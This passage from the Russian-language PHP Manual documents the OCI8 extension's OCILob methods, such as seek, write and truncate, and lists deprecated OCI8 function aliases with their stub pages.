  • OCILob::seek »
  • PHP Manual
  • OCILob
  • Псевдоним OCILob::import

OCILob::saveFile

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::saveFile — Псевдоним OCILob::import()

Описание

Функция является псевдонимом: OCILob::import().

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает позицию внутреннего указателя LOB

  • « OCILob::saveFile
  • OCILob::setBuffering »
  • PHP Manual
  • OCILob
  • Устанавливает позицию внутреннего указателя LOB

OCILob::seek

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::seek — Устанавливает позицию внутреннего указателя LOB

Описание

public OCILob::seek(int $offset, int $whence = OCI_SEEK_SET): bool

Устанавливает позицию внутреннего указателя объекта LOB.

Список параметров

offset

Указывает количество байтов, на которые следует переместиться от позиции, определяемой параметром whence:

whence

Может быть одним из значений:

  • OCI_SEEK_SET - установить позицию, равную offset
  • OCI_SEEK_CUR - прибавить к текущей позиции offset байт
  • OCI_SEEK_END - прибавить к концу файла offset байт (чтобы переместить указатель в начало - укажите отрицательный offset)

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::rewind
  • OCILob::tell
  • OCILob::eof

User Contributed Notes

There are no user contributed notes for this page.


Изменяет текущее состояние буферизации большого объекта (LOB)

  • « OCILob::seek
  • OCILob::size »
  • PHP Manual
  • OCILob
  • Изменяет текущее состояние буферизации большого объекта (LOB)

OCILob::setBuffering

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::setBuffering — Изменяет текущее состояние буферизации большого объекта (LOB)

Описание

public OCILob::setBuffering(bool $mode): bool

Устанавливает буферизацию для большого объекта исходя из значения параметра mode.

Использование этой функции может привести к улучшению производительности путём буферизации мелких операций чтения и записи в LOB за счёт уменьшения количества сетевых обращений и версий LOB. Необходимо обязательно использовать OCILob::flush() после завершения всех работ с LOB.

Список параметров

mode

true для включения и false для отключения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Повторные вызовы этого метода с тем же флагом будет возвращать true.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер объекта LOB

  • « OCILob::setBuffering
  • OCILob::tell »
  • PHP Manual
  • OCILob
  • Возвращает размер объекта LOB

OCILob::size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::size — Возвращает размер объекта LOB

Описание

public OCILob::size(): int|false

Возвращает размер объекта LOB

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает длину объекта LOB или false в случае возникновения ошибки. Для пустых объектов длина равняется нулю.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую позицию внутреннего указателя объекта LOB

  • « OCILob::size
  • OCILob::truncate »
  • PHP Manual
  • OCILob
  • Возвращает текущую позицию внутреннего указателя объекта LOB

OCILob::tell

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::tell — Возвращает текущую позицию внутреннего указателя объекта LOB

Описание

public OCILob::tell(): int|false

Возвращает текущую позицию внутреннего указателя объекта LOB.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущую позицию внутреннего указателя объекта LOB или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::rewind
  • OCILob::size
  • OCILob::eof

User Contributed Notes

There are no user contributed notes for this page.


Обрезает большой объект

  • « OCILob::tell
  • OCILob::write »
  • PHP Manual
  • OCILob
  • Обрезает большой объект

OCILob::truncate

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::truncate — Обрезает большой объект

Описание

public OCILob::truncate(int $length = 0): bool

Обрезает объект LOB.

Список параметров

length

Если указан, то LOB обрезается до указанной в length длины в байтах. Иначе LOB очищается полностью.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::erase

User Contributed Notes

There are no user contributed notes for this page.


Записывает данные в объект LOB

  • « OCILob::truncate
  • OCILob::writeTemporary »
  • PHP Manual
  • OCILob
  • Записывает данные в объект LOB

OCILob::write

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::write — Записывает данные в объект LOB

Описание

public OCILob::write(string $data, ?int $length = null): int|false

Записывает данные из параметра data в текущую позицию внутреннего указателя объекта.

Список параметров

data

Записываемые в LOB данные.

length

Если параметр является числом, то запись остановится после того, как length байт будет записано или закончатся данные из параметра data.

Возвращаемые значения

Возвращает количество записанных байт или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | length теперь допускает значение null.
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::read

User Contributed Notes

There are no user contributed notes for this page.


Записывает временный большой объект (LOB)

  • « OCILob::write
  • OCILob::writeToFile »
  • PHP Manual
  • OCILob
  • Записывает временный большой объект (LOB)

OCILob::writeTemporary

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::writeTemporary — Записывает временный большой объект (LOB)

Описание

public OCILob::writeTemporary(string $data, int $type = OCI_TEMP_CLOB): bool

Создаёт временный большой объект и записывает в него данные data.

После завершения работы с этим объектом его желательно закрыть функцией OCILob::close.

Список параметров

data

Данные для записи.

type

Один из следующих вариантов:

  • OCI_TEMP_BLOB для создания временных BLOB
  • OCI_TEMP_CLOB для создания временных CLOB

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

Смотрите также

  • OCILob::close

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::export

  • « OCILob::writeTemporary
  • Устаревшие наименования и функции OCI8 »
  • PHP Manual
  • OCILob
  • Псевдоним OCILob::export

OCILob::writeToFile

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::writeToFile — Псевдоним OCILob::export()

Описание

Функция является псевдонимом: OCILob::export().

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | offset и length теперь допускают значение null.
8.0.0, PECL OCI8 3.0.0 | Класс OCI-Lob переименован в OCILob в соответствии со стандартами именования PHP.

User Contributed Notes

There are no user contributed notes for this page.


Устаревшие наименования и функции OCI8

Содержание

  • oci_internal_debug — Включает или отключает внутренний вывод отладки
  • ocibindbyname — Псевдоним oci_bind_by_name
  • ocicancel — Псевдоним oci_cancel
  • ocicloselob — Псевдоним OCILob::close
  • ocicollappend — Псевдоним OCICollection::append
  • ocicollassign — Псевдоним OCICollection::assign
  • ocicollassignelem — Псевдоним OCICollection::assignElem
  • ocicollgetelem — Псевдоним OCICollection::getElem
  • ocicollmax — Псевдоним OCICollection::max
  • ocicollsize — Псевдоним OCICollection::size
  • ocicolltrim — Псевдоним OCICollection::trim
  • ocicolumnisnull — Псевдоним oci_field_is_null
  • ocicolumnname — Псевдоним oci_field_name
  • ocicolumnprecision — Псевдоним oci_field_precision
  • ocicolumnscale — Псевдоним oci_field_scale
  • ocicolumnsize — Псевдоним oci_field_size
  • ocicolumntype — Псевдоним oci_field_type
  • ocicolumntyperaw — Псевдоним oci_field_type_raw
  • ocicommit — Псевдоним oci_commit
  • ocidefinebyname — Псевдоним oci_define_by_name
  • ocierror — Псевдоним oci_error
  • ociexecute — Псевдоним oci_execute
  • ocifetch — Псевдоним oci_fetch
  • ocifetchinto — Устаревший вариант функций oci_fetch_array, oci_fetch_object, oci_fetch_assoc и oci_fetch_row
  • ocifetchstatement — Псевдоним oci_fetch_all
  • ocifreecollection — Псевдоним OCICollection::free
  • ocifreecursor — Псевдоним oci_free_statement
  • ocifreedesc — Псевдоним OCILob::free
  • ocifreestatement — Псевдоним oci_free_statement
  • ociinternaldebug — Псевдоним oci_internal_debug
  • ociloadlob — Псевдоним OCILob::load
  • ocilogoff — Псевдоним oci_close
  • ocilogon — Псевдоним oci_connect
  • ocinewcollection — Псевдоним oci_new_collection
  • ocinewcursor — Псевдоним oci_new_cursor
  • ocinewdescriptor — Псевдоним oci_new_descriptor
  • ocinlogon — Псевдоним oci_new_connect
  • ocinumcols — Псевдоним oci_num_fields
  • ociparse — Псевдоним oci_parse
  • ociplogon — Псевдоним oci_pconnect
  • ociresult — Псевдоним oci_result
  • ocirollback — Псевдоним oci_rollback
  • ocirowcount — Псевдоним oci_num_rows
  • ocisavelob — Псевдоним OCILob::save
  • ocisavelobfile — Псевдоним OCILob::import
  • ociserverversion — Псевдоним oci_server_version
  • ocisetprefetch — Псевдоним oci_set_prefetch
  • ocistatementtype — Псевдоним oci_statement_type
  • ociwritelobtofile — Псевдоним OCILob::export
  • ociwritetemporarylob — Псевдоним OCILob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Включает или отключает внутренний вывод отладки

  • « Устаревшие наименования и функции OCI8
  • ocibindbyname »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Включает или отключает внутренний вывод отладки

oci_internal_debug

(PHP 5, PHP 7, PECL OCI8 >= 1.1.0, PECL OCI8 <= 2.2.0)

oci_internal_debug — Включает или отключает внутренний вывод отладки

Описание

oci_internal_debug(bool $onoff): void

Включает или отключает внутренний вывод отладки.

Список параметров

onoff

Установите значение false для отключения вывода отладки или true, чтобы включить.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примечания

Замечание:

Функция была удалена в PHP 8 и PECL OCI8 3.0.

User Contributed Notes

Rainer Perske 23-Oct-2015 11:10
With PHP 5.6, oci_internal_debug() is a no-op, as documented on http://php.net/manual/de/migration56.extensions.php


Псевдоним oci_bind_by_name

  • « oci_internal_debug
  • ocicancel »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_bind_by_name

ocibindbyname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocibindbyname — Псевдоним oci_bind_by_name()

Описание

Псевдоним oci_bind_by_name()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_cancel

  • « ocibindbyname
  • ocicloselob »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_cancel

ocicancel

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicancel — Псевдоним oci_cancel()

Описание

Псевдоним oci_cancel()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::close

  • « ocicancel
  • ocicollappend »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCILob::close

ocicloselob

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 1.0)

ocicloselob — Псевдоним OCILob::close()

Описание

Псевдоним OCILob::close()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::append

  • « ocicloselob
  • ocicollassign »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::append

ocicollappend

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollappend — Псевдоним OCICollection::append()

Описание

Псевдоним OCICollection::append()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::assign

  • « ocicollappend
  • ocicollassignelem »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::assign

ocicollassign

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 >= 1.0.0)

ocicollassign — Псевдоним OCICollection::assign()

Описание

Псевдоним OCICollection::assign()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::assignElem

  • « ocicollassign
  • ocicollgetelem »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::assignElem

ocicollassignelem

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollassignelem — Псевдоним OCICollection::assignElem()

Описание

Псевдоним OCICollection::assignElem()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::getElem

  • « ocicollassignelem
  • ocicollmax »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::getElem

ocicollgetelem

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollgetelem — Псевдоним OCICollection::getElem()

Описание

Псевдоним OCICollection::getElem()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::max

  • « ocicollgetelem
  • ocicollsize »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::max

ocicollmax

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollmax — Псевдоним OCICollection::max()

Описание

Псевдоним OCICollection::max()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::size

  • « ocicollmax
  • ocicolltrim »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::size

ocicollsize

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollsize — Псевдоним OCICollection::size()

Описание

Псевдоним OCICollection::size()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::trim

  • « ocicollsize
  • ocicolumnisnull »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::trim

ocicolltrim

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolltrim — Псевдоним OCICollection::trim()

Описание

Псевдоним OCICollection::trim()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_field_is_null

  • « ocicolltrim
  • ocicolumnname »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_field_is_null

ocicolumnisnull

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnisnull — Псевдоним oci_field_is_null()

Описание

Псевдоним oci_field_is_null()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_field_name

  • « ocicolumnisnull
  • ocicolumnprecision »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_field_name

ocicolumnname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnname — Псевдоним oci_field_name()

Описание

Псевдоним oci_field_name()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_field_precision

  • « ocicolumnname
  • ocicolumnscale »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_field_precision

ocicolumnprecision

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnprecision — Псевдоним oci_field_precision()

Описание

Псевдоним oci_field_precision()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_field_scale

  • « ocicolumnprecision
  • ocicolumnsize »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_field_scale

ocicolumnscale

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnscale — Псевдоним oci_field_scale()

Описание

Псевдоним oci_field_scale()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_field_size

  • « ocicolumnscale
  • ocicolumntype »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_field_size

ocicolumnsize

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnsize — Псевдоним oci_field_size()

Описание

Псевдоним oci_field_size()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_field_type

  • « ocicolumnsize
  • ocicolumntyperaw »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_field_type

ocicolumntype

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumntype — Псевдоним oci_field_type()

Описание

Псевдоним oci_field_type()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_field_type_raw

  • « ocicolumntype
  • ocicommit »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_field_type_raw

ocicolumntyperaw

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumntyperaw — Псевдоним oci_field_type_raw()

Описание

Псевдоним oci_field_type_raw()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_commit

  • « ocicolumntyperaw
  • ocidefinebyname »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_commit

ocicommit

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicommit — Псевдоним oci_commit()

Описание

Псевдоним oci_commit()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_define_by_name

  • « ocicommit
  • ocierror »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_define_by_name

ocidefinebyname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocidefinebyname — Псевдоним oci_define_by_name()

Описание

Псевдоним oci_define_by_name()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_error

  • « ocidefinebyname
  • ociexecute »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_error

ocierror

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocierror — Псевдоним oci_error()

Описание

Псевдоним oci_error()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_execute

  • « ocierror
  • ocifetch »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_execute

ociexecute

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociexecute — Псевдоним oci_execute()

Описание

Псевдоним oci_execute()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_fetch

  • « ociexecute
  • ocifetchinto »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_fetch

ocifetch

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetch — Псевдоним oci_fetch()

Описание

Псевдоним oci_fetch()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Устаревший вариант функций oci_fetch_array, oci_fetch_object, oci_fetch_assoc и oci_fetch_row

  • « ocifetch
  • ocifetchstatement »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Устаревший вариант функций oci_fetch_array, oci_fetch_object, oci_fetch_assoc и oci_fetch_row

ocifetchinto

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetchinto — Устаревший вариант функций oci_fetch_array(), oci_fetch_object(), oci_fetch_assoc() и oci_fetch_row()

Описание

Устаревший вариант функций oci_fetch_array(), oci_fetch_object(),
  oci_fetch_assoc() и
  oci_fetch_row()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_fetch_all

  • « ocifetchinto
  • ocifreecollection »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_fetch_all

ocifetchstatement

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetchstatement — Псевдоним oci_fetch_all()

Описание

Псевдоним oci_fetch_all()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCICollection::free

  • « ocifetchstatement
  • ocifreecursor »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCICollection::free

ocifreecollection

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreecollection — Псевдоним OCICollection::free()

Описание

Псевдоним OCICollection::free()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_free_statement

  • « ocifreecollection
  • ocifreedesc »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_free_statement

ocifreecursor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreecursor — Псевдоним oci_free_statement()

Описание

Псевдоним oci_free_statement()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::free

  • « ocifreecursor
  • ocifreestatement »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCILob::free

ocifreedesc

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreedesc — Псевдоним OCILob::free()

Описание

Псевдоним OCILob::free()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_free_statement

  • « ocifreedesc
  • ociinternaldebug »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_free_statement

ocifreestatement

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreestatement — Псевдоним oci_free_statement()

Описание

Псевдоним oci_free_statement()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_internal_debug

  • « ocifreestatement
  • ociloadlob »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_internal_debug

ociinternaldebug

(PHP 4, PHP 5, PHP 7, PECL OCI8 >= 1.0.0, PECL OCI8 <= 2.2.0)

ociinternaldebug — Псевдоним oci_internal_debug()

Описание

Псевдоним oci_internal_debug()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним OCILob::load

  • « ociinternaldebug
  • ocilogoff »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним OCILob::load

ociloadlob

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociloadlob — Псевдоним OCILob::load()

Описание

Псевдоним OCILob::load()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_close

  • « ociloadlob
  • ocilogon »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_close

ocilogoff

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocilogoff — Псевдоним oci_close()

Описание

Псевдоним oci_close()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_connect

  • « ocilogoff
  • ocinewcollection »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_connect

ocilogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocilogon — Псевдоним oci_connect()

Описание

Псевдоним oci_connect()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_new_collection

  • « ocilogon
  • ocinewcursor »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_new_collection

ocinewcollection

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewcollection — Псевдоним oci_new_collection()

Описание

Псевдоним oci_new_collection()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_new_cursor

  • « ocinewcollection
  • ocinewdescriptor »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_new_cursor

ocinewcursor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewcursor — Псевдоним oci_new_cursor()

Описание

Псевдоним oci_new_cursor()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_new_descriptor

  • « ocinewcursor
  • ocinlogon »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_new_descriptor

ocinewdescriptor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewdescriptor — Псевдоним oci_new_descriptor()

Описание

Псевдоним oci_new_descriptor()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_new_connect

  • « ocinewdescriptor
  • ocinumcols »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_new_connect

ocinlogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinlogon — Псевдоним oci_new_connect()

Описание

Псевдоним oci_new_connect()

Внимание

Этот псевдоним функции УСТАРЕЛ, начиная с PHP 5.4.0. Использование этого псевдонима крайне не рекомендуется.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним oci_num_fields

  • « ocinlogon
  • ociparse »
  • PHP Manual
  • Устаревшие наименования и функции OCI8
  • Псевдоним oci_num_fields

ocinumcols

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinumcols — Псевдоним oci_num_fields()

Описание

Псевдоним oci_num_fields()

Внимание

